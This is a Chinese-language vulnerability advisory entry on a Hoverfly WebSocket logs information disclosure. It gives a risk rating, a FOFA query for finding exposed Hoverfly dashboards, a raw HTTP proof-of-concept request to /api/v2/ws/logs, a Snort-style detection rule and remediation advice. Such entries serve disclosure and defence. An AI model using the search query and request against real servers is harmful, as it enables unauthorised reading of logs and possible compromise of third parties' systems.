Hoverfly-logs-信息泄露¶

Hoverfly-logs-信息泄露，导致数据信息泄露或者导致服务器被控制。

影响版本¶

Hoverfly

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：(title="Hoverfly Dashboard" && fid="kq7OPmsJgQHfdO+2tB7kPw==") || icon_hash="1357234275"

POC/EXP：

GET /api/v2/ws/logs HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Sec-WebSocket-Key: zpRVZDnNfCd+sYVS/DnNug==
Accept-Encoding: gzip, deflate, br, zstd
Connection: Upgrade
Sec-WebSocket-Version: 13
Upgrade: websocket

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"Hoverfly - WebSocket Logs Information Disclosure";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/api/v2/ws/logs";
    http.header; content:"Upgrade: websocket";
    metadata:
        cve none,
        service http,
        affected_product "Hoverfly",
        vulnerability_type "WebSocket Logs Information Disclosure",
        severity "medium";
    classtype:policy-violation;
    sid:1000508;
    rev:1;
    priority:2;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。